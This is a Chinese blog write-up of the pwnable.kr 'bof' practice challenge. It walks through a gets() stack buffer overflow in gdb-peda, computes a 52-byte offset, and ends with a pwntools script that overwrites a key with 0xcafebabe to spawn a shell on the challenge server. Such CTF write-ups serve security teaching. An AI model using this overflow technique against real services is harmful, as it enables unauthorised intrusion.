pwnable 笔记 Toddler's Bottle - bof
2016-11-16 19:56
465 查看
考察缓存区溢出
现在进到了
然后运行程序
运行起来应该是这个样子
现在程序停在了刚才下的断点处,单步调试(
查看一下栈中的情况
当前
即:数组
从上图中还可以发现地址
现在找到了
向
这里要注意一下内存中的小端存储,可以使用
题目源码
题目分析
func()中有一个长度为32的字符串数组
overflow,在调用
gets()时由于没有检查字符串长度,导致缓冲区溢出,超过32字节的数据将覆盖内存中的其他数据。随后比较
key和
0xcafebabe,相等的话弹出
sh。
解题思路
利用缓存区溢出,将key的值覆写为
0xcafebabe
解题过程
首先需要知道变量overflow和
key存储在内存的什么位置,确定缓存区溢出发生的位置。将
bof程序下载到本地,用
gdb打开,开始调试 (顺便推荐
gdb插件
peda)
$ gdb ./bof
现在进到了
gdb的环境中,先在
main()处下一个断点
gdb-peda$ b main Breakpoint 1 at 0x68d
然后运行程序
gdb-peda$ r
运行起来应该是这个样子
peda这个插件很赞,可以直观的看到反汇编代码以及各个寄存器的值,还有高亮显示
现在程序停在了刚才下的断点处,单步调试(
ni)至
call <func>后进入函数(
si),一直跟到
call <gets>
查看一下栈中的情况
gdb-peda$ x/40xw $esp
当前
esp = 0xffffcf50,
esp中存储的是
overflow开始的位置。
即:数组
overflow从
0xffffcf6c开始,长度为
32,到
0xffffcf6c + 32 = 0xffffcf8c结束
从上图中还可以发现地址
0xffffcfa0中存储的就是
key的初始值
0xdeafbeef
现在找到了
overflow和
key的地址,只需要计算一下他们之间的差值,便可以得出总共需要多少字符才可以覆盖到
key
0xffffcfa0 - 0xffffcf6c = 52
向
overflow里面输入
52个字节的字符,之后再加上
4字节的数据(
0xcafebabe),刚好可以覆写key,详见解题脚本
这里要注意一下内存中的小端存储,可以使用
pwn库中的
p32()函数
解题脚本
#!/usr/bin/python from pwn import * # target = process("./bof") target = remote("pwnable.kr","9000") key = 0xcafebabe payload = "A" * 52 + p32(key) target.send(payload) target.interactive()
相关文章推荐
- pwnable 笔记 Toddler's Bottle - blackjack
- pwnable 笔记 Toddler's Bottle - random
- pwnable 笔记 Toddler's Bottle - shellshock
- pwnable 笔记 Toddler's Bottle - mistake
- pwnable.kr [Toddler's Bottle] - bof
- pwnable 笔记 Toddler's Bottle - collision
- pwnable 笔记 Toddler's Bottle - coin1
- pwnable 笔记 Toddler's Bottle - cmd2
- pwnable 笔记 Toddler's Bottle - lotto
- pwnable 笔记 Toddler's Bottle - uaf
- pwnable 笔记 Toddler's Bottle - passcode
- pwnable 笔记 Toddler's Bottle - input
- pwnable 笔记 Toddler's Bottle - leg
- pwnable 笔记 Toddler's Bottle - fd
- pwnable 笔记 Toddler's Bottle - cmd1
- pwnable 笔记 Toddler's Bottle - flag
- pwnable.kr [Toddler's Bottle] - lotto
- pwnable.kr [Toddler's Bottle] -fd
- pwnable.kr [Toddler's Bottle] - leg
- pwnable.kr [Toddler's Bottle] - flag